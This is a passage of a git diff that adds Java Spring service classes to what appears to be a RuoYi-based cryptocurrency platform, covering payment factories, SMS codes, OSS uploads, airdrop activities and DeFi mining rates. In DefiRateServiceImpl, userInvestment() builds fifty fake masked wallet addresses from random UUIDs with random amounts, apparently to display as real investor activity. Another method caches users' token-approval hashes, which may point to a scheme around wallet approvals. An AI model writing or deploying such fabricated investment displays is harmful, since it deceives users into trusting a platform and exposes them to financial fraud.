b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SmsService.java new file mode 100644 index 0000000..5b51f8c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SmsService.java @@ -0,0 +1,7 @@ +package com.ruoyi.bussiness.service; + +import com.ruoyi.bussiness.domain.SendPhoneDto; + +public interface SmsService { + String sendMobileCode(SendPhoneDto mobileNumber); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayFactory.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayFactory.java new file mode 100644 index 0000000..8d1fe50 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayFactory.java @@ -0,0 +1,27 @@ +package com.ruoyi.bussiness.service; + +import org.springframework.beans.BeansException; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.stereotype.Component; + +import java.util.HashMap; +import java.util.Map; + +@Component +public class ThirdPayFactory implements ApplicationContextAware { + + private static Map thirdPayBeanMap; + + @Override + public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { + Map map = applicationContext.getBeansOfType(ThirdPayService.class); + thirdPayBeanMap = new HashMap<>(); + map.forEach((key, value) -> thirdPayBeanMap.put(value.getName(), value)); + } + + public static T getThirdpay(String name) { + return (T)thirdPayBeanMap.get(name); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutFactory.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutFactory.java new file mode 100644 index 0000000..0f8826c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutFactory.java @@ -0,0 +1,27 @@ +package com.ruoyi.bussiness.service; + +import org.springframework.beans.BeansException; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.stereotype.Component; + +import java.util.HashMap; +import java.util.Map; + +@Component +public class ThirdPayOutFactory implements ApplicationContextAware { + + private static Map thirdPayOutBeanMap; + + @Override + public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { + Map map = applicationContext.getBeansOfType(ThirdPayOutService.class); + thirdPayOutBeanMap = new HashMap<>(); + map.forEach((key, value) -> thirdPayOutBeanMap.put(value.getName(), value)); + } + + public static T getThirdPayOut(String name) { + return (T)thirdPayOutBeanMap.get(name); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutService.java new file mode 100644 index 0000000..516e5fa --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutService.java @@ -0,0 +1,17 @@ +package com.ruoyi.bussiness.service; + +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import org.springframework.stereotype.Service; + +@Service +public interface ThirdPayOutService { + String getName(); + + JSONObject payOut(TWithdraw withdraw, ThirdPaySetting setting); + + + +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayService.java new file mode 100644 index 0000000..00da943 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayService.java @@ -0,0 +1,18 @@ +package com.ruoyi.bussiness.service; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import org.springframework.stereotype.Service; + +@Service +public interface ThirdPayService { + String getName(); + //代收 + JSONObject pay(TAppRecharge recharge, ThirdPaySetting setting); + + JSONObject createAdress(String coin ,String symbol,Long userId,ThirdPaySetting setting); + + boolean existAdress(String symbol,String adress,ThirdPaySetting setting); +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiActivityServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiActivityServiceImpl.java new file mode 100644 index 0000000..b5962f4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiActivityServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.DefiActivityMapper; +import com.ruoyi.bussiness.domain.DefiActivity; +import com.ruoyi.bussiness.service.IDefiActivityService; + +/** + * 空投活动Service业务层处理 + * + * @author ruoyi + * @date 2023-08-17 + */ +@Service +public class DefiActivityServiceImpl extends ServiceImpl implements IDefiActivityService +{ + @Autowired + private DefiActivityMapper defiActivityMapper; + + /** + * 查询空投活动 + * + * @param id 空投活动主键 + * @return 空投活动 + */ + @Override + public DefiActivity selectDefiActivityById(Long id) + { + return defiActivityMapper.selectDefiActivityById(id); + } + + /** + * 查询空投活动列表 + * + * @param defiActivity 空投活动 + * @return 空投活动 + */ + @Override + public List selectDefiActivityList(DefiActivity defiActivity) + { + return defiActivityMapper.selectDefiActivityList(defiActivity); + } + + /** + * 新增空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + @Override + public int insertDefiActivity(DefiActivity defiActivity) + { + defiActivity.setCreateTime(DateUtils.getNowDate()); + return defiActivityMapper.insertDefiActivity(defiActivity); + } + + /** + * 修改空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + @Override + public int updateDefiActivity(DefiActivity defiActivity) + { + defiActivity.setUpdateTime(DateUtils.getNowDate()); + return defiActivityMapper.updateDefiActivity(defiActivity); + } + + /** + * 批量删除空投活动 + * + * @param ids 需要删除的空投活动主键 + * @return 结果 + */ + @Override + public int deleteDefiActivityByIds(Long[] ids) + { + return defiActivityMapper.deleteDefiActivityByIds(ids); + } + + /** + * 删除空投活动信息 + * + * @param id 空投活动主键 + * @return 结果 + */ + @Override + public int deleteDefiActivityById(Long id) + { + return defiActivityMapper.deleteDefiActivityById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiOrderServiceImpl.java new file mode 100644 index 0000000..9270999 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiOrderServiceImpl.java @@ -0,0 +1,114 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.bussiness.domain.dto.DefiOrderDTO; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.DefiOrderMapper; +import com.ruoyi.bussiness.service.IDefiOrderService; + +/** + * defi订单Service业务层处理 + * + * @author ruoyi + * @date 2023-08-17 + */ +@Service +public class DefiOrderServiceImpl extends ServiceImpl implements IDefiOrderService +{ + @Autowired + private DefiOrderMapper defiOrderMapper; + + /** + * 查询defi订单 + * + * @param id defi订单主键 + * @return defi订单 + */ + @Override + public DefiOrder selectDefiOrderById(Long id) + { + return defiOrderMapper.selectDefiOrderById(id); + } + + /** + * 查询defi订单列表 + * + * @param defiOrder defi订单 + * @return defi订单 + */ + @Override + public List selectDefiOrderList(DefiOrder defiOrder) + { + return defiOrderMapper.selectDefiOrderList(defiOrder); + } + + @Override + public List getOrder(DefiOrder defiOrder) { + return defiOrderMapper.getOrder(defiOrder); + } + + /** + * 新增defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + @Override + public int insertDefiOrder(DefiOrder defiOrder) + { + defiOrder.setCreateTime(DateUtils.getNowDate()); + return defiOrderMapper.insertDefiOrder(defiOrder); + } + + /** + * 修改defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + @Override + public int updateDefiOrder(DefiOrder defiOrder) + { + defiOrder.setUpdateTime(DateUtils.getNowDate()); + return defiOrderMapper.updateDefiOrder(defiOrder); + } + + /** + * 批量删除defi订单 + * + * @param ids 需要删除的defi订单主键 + * @return 结果 + */ + @Override + public int deleteDefiOrderByIds(Long[] ids) + { + return defiOrderMapper.deleteDefiOrderByIds(ids); + } + + /** + * 删除defi订单信息 + * + * @param id defi订单主键 + * @return 结果 + */ + @Override + public int deleteDefiOrderById(Long id) + { + return defiOrderMapper.deleteDefiOrderById(id); + } + + @Override + public BigDecimal getAllAmount(Long id) { + return defiOrderMapper.getAllAmount(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiRateServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiRateServiceImpl.java new file mode 100644 index 0000000..f6f0d11 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiRateServiceImpl.java @@ -0,0 +1,294 @@ +package com.ruoyi.bussiness.service.impl; +import cn.hutool.core.bean.BeanUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.dto.*; +import com.ruoyi.bussiness.mapper.DefiActivityMapper; +import com.ruoyi.bussiness.mapper.DefiOrderMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.bean.BeanUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.DefiRateMapper; + +import javax.annotation.Resource; + +/** + * defi挖矿利率配置Service业务层处理 + * + * @author ruoyi + * @date 2023-08-17 + */ +@Service +public class DefiRateServiceImpl extends ServiceImpl implements IDefiRateService +{ + @Autowired + private DefiRateMapper defiRateMapper; + @Autowired + private ITAppAddressInfoService appAddressInfoService; + @Autowired + private IDefiOrderService defiOrderService; + @Resource + private IDefiRateService defiRateService; + @Resource + private DefiActivityMapper defiActivityMapper; + @Resource + RedisCache redisCache; + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private DefiOrderMapper defiOrderMapper; + /** + * 查询defi挖矿利率配置 + * + * @param id defi挖矿利率配置主键 + * @return defi挖矿利率配置 + */ + @Override + public DefiRate selectDefiRateById(Long id) + { + return defiRateMapper.selectDefiRateById(id); + } + + /** + * 查询defi挖矿利率配置列表 + * + * @param defiRate defi挖矿利率配置 + * @return defi挖矿利率配置 + */ + @Override + public List selectDefiRateList(DefiRate defiRate) + { + return defiRateMapper.selectDefiRateList(defiRate); + } + + @Override + public List selectDefiRateAllList() { + List rtn =new ArrayList<>(); + List defiRates = defiRateMapper.selectAllOrderBy(); + int a = 1; + for (DefiRate defiRate: defiRates ) { + DefiRateDTO defiRateDTO = new DefiRateDTO(); + defiRateDTO.setSort(a); + defiRateDTO.setAmountTotle(defiRate.getMinAmount().setScale(0)+"-"+defiRate.getMaxAmount().setScale(0)); + defiRateDTO.setRate(defiRate.getRate().multiply(new BigDecimal("100")).divide(new BigDecimal(1),2,RoundingMode.HALF_UP)+"%"); + rtn.add(defiRateDTO); + a++; + } + + return rtn ; + } + + /** + * 新增defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + @Override + public int insertDefiRate(DefiRate defiRate) + { + defiRate.setCreateTime(DateUtils.getNowDate()); + return defiRateMapper.insertDefiRate(defiRate); + } + + /** + * 修改defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + @Override + public int updateDefiRate(DefiRate defiRate) + { + defiRate.setUpdateTime(DateUtils.getNowDate()); + return defiRateMapper.updateDefiRate(defiRate); + } + + /** + * 批量删除defi挖矿利率配置 + * + * @param ids 需要删除的defi挖矿利率配置主键 + * @return 结果 + */ + @Override + public int deleteDefiRateByIds(Long[] ids) + { + return defiRateMapper.deleteDefiRateByIds(ids); + } + + /** + * 删除defi挖矿利率配置信息 + * + * @param id defi挖矿利率配置主键 + * @return 结果 + */ + @Override + public int deleteDefiRateById(Long id) + { + return defiRateMapper.deleteDefiRateById(id); + } + + @Override + public List userInvestment() { + List result = new ArrayList<>(); + for(int a=0;a<50;a++){ + UserInvestmentDto userInvestmentDto = new UserInvestmentDto(); + String str = "0x"; + String address="*********************************"; + UUID uuid = UUID.randomUUID(); + String randomString = uuid.toString(); + String left = randomString.substring(randomString.length() - 4); + String s1 = randomString.substring(0, 6); + userInvestmentDto.setAddress(str+left+address+s1); + userInvestmentDto.setNum(queryHongBao(0.001,10.00)); + result.add(userInvestmentDto); + } + return result; + } + + @Override + public List getDefiRateByAmount(BigDecimal amount) { + return defiRateMapper.getDefiRateByAmount(amount); + } + + @Override + public UserInvestmentDto getUserShowIncome(Long id) { + UserInvestmentDto userInvestmentDto = new UserInvestmentDto(); + //获取授权数据 + TAppAddressInfo appAddressInfo = appAddressInfoService.selectTAppAddressInfoByUserId(id); + if(appAddressInfo==null){ + return null ; + } + //获取总收入 + BigDecimal allAmount = defiOrderService.getAllAmount(id); + //获取钱包余额 + BigDecimal usdt = appAddressInfo.getUsdt(); + + //获取利率 + List defiRateByAmount = defiRateService.getDefiRateByAmount(usdt); + if(defiRateByAmount==null||defiRateByAmount.size()<1){ + userInvestmentDto.setAmount(usdt); + userInvestmentDto.setTotalProfit(allAmount); + userInvestmentDto.setSingleRate(BigDecimal.ZERO); + userInvestmentDto.setDayRate(BigDecimal.ZERO); + return userInvestmentDto; + } + //获取eth汇率 + BigDecimal ethPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + "eth"); + //防止用户配置错误 这里取了第一个 + DefiRate defiRate = defiRateByAmount.get(0); + //算出返的Usdt + BigDecimal rateAmount = usdt.multiply(defiRate.getRate()); + //算出eth + BigDecimal ethAmount = rateAmount.divide(ethPrice, 6, RoundingMode.HALF_DOWN); + userInvestmentDto.setAmount(usdt); + userInvestmentDto.setTotalProfit(allAmount); + userInvestmentDto.setSingleRate(ethAmount); + userInvestmentDto.setDayRate(ethAmount); + return userInvestmentDto; + } + + @Override + public List getOrder(DefiOrder defiOrder) { + return defiOrderMapper.selectDefiOrderList(defiOrder); + } + + @Override + public List getOrderList(DefiOrder defiOrder) { + List order = defiOrderService.getOrder(defiOrder); + for (DefiOrderDTO dto: order) { + dto.setCreateTimes(dto.getCreateTime().getTime()); + } + return order; + } + + @Override + public List showDefiActivity(Long id) { + List rtn = new ArrayList<>(); + List defiActivities = defiActivityMapper.showDefiActivity(id, 1); + for (DefiActivity defiActivity: defiActivities ) { + DefiActivityDTO defiActivityDTO = new DefiActivityDTO(); + BeanUtil.copyProperties(defiActivity,defiActivityDTO); + defiActivityDTO.setEndTimeS(defiActivity.getEndTime().getTime()); + defiActivityDTO.setBeginTimeS(defiActivity.getCreateTime().getTime()); + rtn.add(defiActivityDTO); + } + return rtn; + } + + @Override + public List showDefiActivityNotice(Long id) { + List rtn = new ArrayList<>(); + List defiActivities = defiActivityMapper.showDefiActivity(id, 0); + for (DefiActivity defiActivity: defiActivities ) { + DefiActivityDTO defiActivityDTO = new DefiActivityDTO(); + BeanUtil.copyProperties(defiActivity,defiActivityDTO); + defiActivityDTO.setEndTimeS(defiActivity.getEndTime().getTime()); + defiActivityDTO.setBeginTimeS(defiActivity.getCreateTime().getTime()); + rtn.add(defiActivityDTO); + } + return rtn; + } + + @Override + public Integer updateDefiActivity(Long id, Integer status) { + if(status==1){ + DefiActivity defiActivity = new DefiActivity(); + defiActivity.setId(id); + defiActivity.setStatus(status); + defiActivityMapper.updateDefiActivity(defiActivity); + }else{ + DefiActivity defiActivity = defiActivityMapper.selectDefiActivityById(id); + if(new Date().after(defiActivity.getEndTime())){ + return 0; + } + + defiActivity.setStatus(status); + Long type = defiActivity.getType(); + String coin =""; + if(type==0){ + coin="usdt"; + }else{ + coin="eth"; + } + TAppAsset tAppAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, defiActivity.getUserId()).eq(TAppAsset::getSymbol,coin )); + TAppUser tAppUser = tAppUserService.selectTAppUserByUserId(defiActivity.getUserId()); + tAppAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(defiActivity.getUserId(), defiActivity.getAmount(), RecordEnum.DEFI_ACTIVITY.getCode(), null, "", RecordEnum.CURRENCY_TRADINGADD.getInfo(), tAppAsset.getAmout(), tAppAsset.getAmout().add(defiActivity.getAmount()),coin,tAppUser.getAdminParentIds()); + tAppAsset.setAmout(tAppAsset.getAmout().add(defiActivity.getAmount())); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(defiActivity.getAmount())); + tAppAssetService.updateTAppAsset(tAppAsset); + defiActivityMapper.updateDefiActivity(defiActivity); + } + return 1; + } + + @Override + public void sendApproveHash(AddressHashDTO hash) { + HashMap addressHah = new HashMap(); + addressHah.put(hash.getUserId().toString(),hash.getHash()); + redisCache.setCacheMap("approve",addressHah); + } + + private static BigDecimal queryHongBao(double min, double max) { + Random rand = new Random(); + double result = min + (rand.nextDouble() * (max - min)); + return new BigDecimal(result).setScale(3, RoundingMode.UP); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/FileServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/FileServiceImpl.java new file mode 100644 index 0000000..989cd9f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/FileServiceImpl.java @@ -0,0 +1,46 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.OssSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.FileService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.AliOssCloudUtil; +import org.springframework.stereotype.Service; +import org.springframework.web.multipart.MultipartFile; + +import javax.annotation.Resource; +import java.io.IOException; +import java.io.InputStream; + +@Service +public class FileServiceImpl implements FileService { + + + @Resource + private SettingService settingService; + + + @Override + public String uploadFileOSS(MultipartFile file, String name) throws IOException { + Setting setting = settingService.get(SettingEnum.OSS_SETTING.name()); + OssSetting ossSetting = JSONUtil.toBean(setting.getSettingValue(), OssSetting.class); + InputStream inputStream = null; + inputStream = file.getInputStream(); + //阿里云的endpoint + String endpoint = ossSetting.getEndPoint(); + //阿里云的accessKeyId + String accessKeyId = ossSetting.getAccessKeyId(); + //阿里云的accessKeySecret + String accessKeySecret = ossSetting.getAccessKeySecret(); + //空间 + String bucketName =ossSetting.getBucketName(); + //文件存储目录 + String filedir = ossSetting.getPicLocation(); + + AliOssCloudUtil util = new AliOssCloudUtil(endpoint,accessKeyId,accessKeySecret,bucketName,filedir); + //上传成功返回完整路径的url + return util.uploadFile2OSS(inputStream, name); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/ITUserCoinServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/ITUserCoinServiceImpl.java new file mode 100644 index 0000000..e27e5b4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/ITUserCoinServiceImpl.java @@ -0,0 +1,22 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.TUserCoin; +import com.ruoyi.bussiness.mapper.TUserCoinMapper; +import com.ruoyi.bussiness.service.ITUserCoinService; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + +@Service +public class ITUserCoinServiceImpl extends ServiceImpl implements ITUserCoinService { + + + @Resource + TUserCoinMapper tUserCoinMapper; + + @Override + public void removeByUserId(Long userId) { + tUserCoinMapper.removeByUserId(userId); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/KlineSymbolServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/KlineSymbolServiceImpl.java new file mode 100644 index 0000000..3c81541 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/KlineSymbolServiceImpl.java @@ -0,0 +1,93 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.service.IKlineSymbolService; + +/** + * 数据源Service业务层处理 + * + * @author ruoyi + * @date 2023-07-10 + */ +@Service +public class KlineSymbolServiceImpl extends ServiceImpl implements IKlineSymbolService +{ + @Autowired + private KlineSymbolMapper klineSymbolMapper; + + /** + * 查询数据源 + * + * @param id 数据源主键 + * @return 数据源 + */ + @Override + public KlineSymbol selectKlineSymbolById(Long id) + { + return klineSymbolMapper.selectKlineSymbolById(id); + } + + /** + * 查询数据源列表 + * + * @param klineSymbol 数据源 + * @return 数据源 + */ + @Override + public List selectKlineSymbolList(KlineSymbol klineSymbol) + { + return klineSymbolMapper.selectKlineSymbolList(klineSymbol); + } + + /** + * 新增数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + @Override + public int insertKlineSymbol(KlineSymbol klineSymbol) + { + return klineSymbolMapper.insertKlineSymbol(klineSymbol); + } + + /** + * 修改数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + @Override + public int updateKlineSymbol(KlineSymbol klineSymbol) + { + return klineSymbolMapper.updateKlineSymbol(klineSymbol); + } + + /** + * 批量删除数据源 + * + * @param ids 需要删除的数据源主键 + * @return 结果 + */ + @Override + public int deleteKlineSymbolByIds(Long[] ids) + { + return klineSymbolMapper.deleteKlineSymbolByIds(ids); + } + + /** + * 删除数据源信息 + * + * @param id 数据源主键 + * @return 结果 + */ + @Override + public int deleteKlineSymbolById(Long id) + { + return klineSymbolMapper.deleteKlineSymbolById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SettingServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SettingServiceImpl.java new file mode 100644 index 0000000..19d9520 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SettingServiceImpl.java @@ -0,0 +1,50 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.setting.DownloadSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.SmsSetting; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.mapper.SettingMapper; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.SettingEnum; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; + +import java.util.List; +import java.util.Objects; +import java.util.stream.Collectors; + +/** + * 配置业务层实现 + * + * @author Chopper + * @since 2020/11/17 3:52 下午 + */ +@Service +public class SettingServiceImpl extends ServiceImpl implements SettingService { + + @Override + public Setting get(String key) { + return this.getById(key); + } + + @Override + public boolean saveUpdate(Setting setting) { + return this.saveOrUpdate(setting); + } + + public ThirdPaySetting getThirdPaySetting(String code) { + Setting setting = this.get(SettingEnum.THIRD_CHANNL.name()); + if (!Objects.isNull(setting)) { + List list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), ThirdPaySetting.class); + List result = list.stream().filter(setting1 -> setting1.getCode().equals(code) && setting1.getStatus()==0).collect(Collectors.toList()); + if (!CollectionUtils.isEmpty(result)) { + return result.get(0); + } + } + return null; + } +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SmsServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SmsServiceImpl.java new file mode 100644 index 0000000..56628b3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SmsServiceImpl.java @@ -0,0 +1,37 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.SendPhoneDto; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.SmsSetting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.bussiness.service.SmsService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.UidUtils; +import com.ruoyi.common.utils.http.HttpUtils; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.util.HashMap; +import java.util.Map; +@Service +public class SmsServiceImpl implements SmsService { + + @Resource + private SettingService settingService; + + @Override + public String sendMobileCode(SendPhoneDto mobileNumber) { + Setting setting = settingService.get(SettingEnum.SMS_SETTING.name()); + SmsSetting smsSetting = JSONUtil.toBean(setting.getSettingValue(), SmsSetting.class); + mobileNumber.setAccount(smsSetting.getMobileAccount()); + mobileNumber.setPassword(smsSetting.getMobilePassword()); + Map map = new HashMap<>(); + map.put("account",smsSetting.getMobileAccount()); + map.put("password",smsSetting.getMobilePassword()); + map.put("msg","Your verification code is {"+mobileNumber.getMsg()+"}. The validity period is 5 minutes. Please enter it in time."); + map.put("mobile",mobileNumber.getMobile()); + map.put("uid", UidUtils.getUUID(true)); + return HttpUtils.doPostWithJson(smsSetting.getMobileUrl() ,map); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TActivityRechargeServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TActivityRechargeServiceImpl.java new file mode 100644 index 0000000..bfad289 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TActivityRechargeServiceImpl.java @@ -0,0 +1,198 @@ +package com.ruoyi.bussiness.service.impl; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.setting.AssetCoinSetting; +import com.ruoyi.bussiness.domain.setting.RechargeRebateSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TActivityRechargeMapper; +import com.ruoyi.bussiness.mapper.TAgentActivityInfoMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.service.ITActivityRechargeService; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysDictTypeService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 充值活动Service业务层处理 + * + * @author ruoyi + * @date 2023-07-05 + */ +@Service +public class TActivityRechargeServiceImpl extends ServiceImpl implements ITActivityRechargeService +{ + @Autowired + private TActivityRechargeMapper tActivityRechargeMapper; + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private SettingService settingService; + @Resource + private TAgentActivityInfoMapper tAgentActivityInfoMapper; + @Resource + private ITAppWalletRecordService walletRecordService; + + /** + * 查询充值活动 + * + * @param id 充值活动主键 + * @return 充值活动 + */ + @Override + public TActivityRecharge selectTActivityRechargeById(Long id) + { + return tActivityRechargeMapper.selectTActivityRechargeById(id); + } + + /** + * 查询充值活动列表 + * + * @param tActivityRecharge 充值活动 + * @return 充值活动 + */ + @Override + public List selectTActivityRechargeList(TActivityRecharge tActivityRecharge) + { + return tActivityRechargeMapper.selectTActivityRechargeList(tActivityRecharge); + } + + /** + * 新增充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + @Override + public int insertTActivityRecharge(TActivityRecharge tActivityRecharge) + { + tActivityRecharge.setCreateTime(DateUtils.getNowDate()); + return tActivityRechargeMapper.insertTActivityRecharge(tActivityRecharge); + } + + /** + * 修改充值活动 + * + * @param tActivityRecharge 充值活动 + * @return 结果 + */ + @Override + public int updateTActivityRecharge(TActivityRecharge tActivityRecharge) + { + 